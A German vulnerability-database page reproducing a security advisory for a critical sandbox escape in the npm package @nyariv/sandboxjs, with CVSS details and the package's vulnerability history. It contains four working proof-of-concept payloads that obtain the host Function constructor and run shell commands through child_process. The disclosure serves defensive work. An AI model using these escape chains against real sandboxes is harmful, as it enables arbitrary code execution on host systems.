Kritisch

@nyariv/sandboxjs has a Sandbox Escape issue

  • Veröffentlicht: 05.02.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.

Details

The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.

PoC

js
const s = require('@nyariv/sandboxjs').default;
const sb = new s();

payload = `
console.log(
  Object.values(this).at(0)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)[0].at(1)(
    "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
  )(),
);
`

sb.compile(payload)().run();
js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
console.log(
  Object.entries(this)
    .at(0)
    .map((f) => {
      if (typeof f === 'function') {
        f.call('', 'return process')()
          .getBuiltinModule('child_process')
          .execSync('ls -lah', { stdio: 'inherit' });
      }
    }),
);
`

sb.compile(payload)().run();
js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();

payload = `
const t = (f) => {
  f.call('', 'return process')()
    .getBuiltinModule('child_process')
    .execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`

sb.compile(payload)().run();

Impact

Sanbox Escape -> RCE

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket @nyariv/sandboxjs < 0.8.29 0.8.29

Verweise

CVSS-Wert 10/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-74
Plattform
npm
Paket
@nyariv/sandboxjs
Veröffentlicht
05.02.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-58jh-xv4v-pcx4 - CC BY 4.0

Schwachstellenhistorie: @nyariv/sandboxjs

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (14) im Archiv
Einträge insgesamt
14
Erste → letzte
07.2025 05.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 1
  • Mittel 3

Veröffentlichungen pro Jahr

  1. 2025: 1
  2. 2026: 13
Schweregrad:
  1. Kritisch · 10.0 CVE-2026-34208 < 0.8.36 0.8.36
  2. Kritisch · 10.0 CVE-2026-26954 < 0.8.34 0.8.34
  3. Kritisch · 10.0 CVE-2026-25587 < 0.8.29 0.8.29
  4. @nyariv/sandboxjs has a Sandbox Escape issue dieser Eintrag
    Kritisch · 10.0 CVE-2026-25520 < 0.8.29 0.8.29
  5. Kritisch · 10.0 CVE-2026-25142 < 0.8.27 0.8.27
  6. Kritisch · 10.0 CVE-2026-23830 < 0.8.26 0.8.26

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.